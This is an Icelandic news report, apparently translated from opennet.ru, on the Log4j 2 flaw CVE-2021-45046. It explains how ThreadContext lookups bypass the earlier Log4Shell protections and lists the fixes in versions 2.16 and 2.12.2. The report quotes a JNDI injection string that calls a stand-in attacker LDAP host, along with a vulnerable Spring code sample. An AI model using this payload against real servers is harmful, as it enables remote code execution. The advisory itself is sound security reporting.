Nýr árásarmöguleiki fyrir Log4j 2 sem gerir þér kleift að komast framhjá aukinni vernd

Annar varnarleysi hefur verið greindur í innleiðingu JNDI uppflettinga í Log4j 2 bókasafninu (CVE-2021-45046), sem birtist þrátt fyrir lagfæringar sem bætt var við í útgáfu 2.15 og óháð notkun „log4j2.noFormatMsgLookup“ stillingarinnar til verndar. Vandamálið er hættulegt aðallega fyrir eldri útgáfur af Log4j 2, verndaðar með „noFormatMsgLookup“ fánanum, þar sem það gerir það mögulegt að komast framhjá vörn gegn fyrri veikleikum (Log4Shell, CVE-2021-44228), sem gerir þér kleift að keyra kóðann þinn á miðlara. Fyrir notendur útgáfu 2.15 er hagnýting takmörkuð við að valda því að forritið hrynur vegna tæmingar á tiltækum tilföngum.

Varnarleysið birtist aðeins á kerfum sem nota samhengisleit fyrir skráningu, eins og ${ctx:loginId}, eða MDC sniðmát (Thread Context Map), eins og %X, %mdc og %MDC. Aðgerð snýst um að búa til skilyrði til að gefa út gögn sem innihalda JNDI staðgöngur í annálinn þegar notast er við samhengisfyrirspurnir eða MDC sniðmát í forritinu sem skilgreina reglur um að forsníða úttak í skránni.

Rannsakendur frá LunaSec tóku fram að fyrir útgáfur af Log4j minni en 2.15 er hægt að nota þennan varnarleysi sem nýjan vektor fyrir Log4Shell árás, sem leiðir til keyrslu kóða, ef ThreadContext tjáningar sem innihalda utanaðkomandi gögn eru notuð í úttaksskránni, óháð því hvort "vernd" fáninn er virkur. noMsgFormatLookups" eða sniðmátið "%m{nolookups}".

Nýr árásarmöguleiki fyrir Log4j 2 sem gerir þér kleift að komast framhjá aukinni vernd

Að komast framhjá verndinni kemur niður á þeirri staðreynd að í stað þess að skipta beint út „${jndi:ldap://attacker.com/a}“ er þessari tjáningu skipt út fyrir gildi millibreytu sem notuð er í reglum um að forsníða annálúttak. . Til dæmis, ef samhengisfyrirspurnin ${ctx:apiversion} er notuð þegar hún er birt í skránni, þá er hægt að framkvæma árásina með því að setja gögnin „${jndi:ldap://attacker.com/a}“ í gildi skrifað á apversion breytuna. Dæmi um viðkvæman kóða: appender.console.layout.pattern = ${ctx:apiversion} - %d{áááá-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP hausgildi er sent til ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Þegar þú sendir út í skrána verður ytri apiversion gildið unnið með því að nota staðgengil ${ctx:apiversion} logger.info("Received a request for API version"); skila "Halló, heimur!"; }

Í Log4j útgáfu 2.15 er hægt að nota varnarleysið til að framkvæma DoS árásir þegar gildi eru send til ThreadContext, sem leiðir til lykkju í vinnslu sniðmátssniðs úttaks.

Nýr árásarmöguleiki fyrir Log4j 2 sem gerir þér kleift að komast framhjá aukinni vernd

Til að loka á varnarleysið voru uppfærslur 2.16 og 2.12.2 birtar. Í Log4j 2.16 útibúinu, til viðbótar við lagfæringarnar sem útfærðar eru í útgáfu 2.15 og bindingu JNDI LDAP beiðna við „localhost“, er JNDI virkni algjörlega óvirk sjálfgefið og stuðningur við sniðmát fyrir skilaboðaskipti er fjarlægður. Sem öryggislausn er mælt með því að fjarlægja JndiLookup bekkinn úr bekkjarstígnum (til dæmis „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class“) .

Þú getur fylgst með útliti lagfæringa í pakka á síðum dreifingar (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) og Java pallaframleiðenda (GitHub, Docker, Oracle, vmWare, Broadcom og Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure o.s.frv.).

Heimild: opennet.ru

Bæta við athugasemd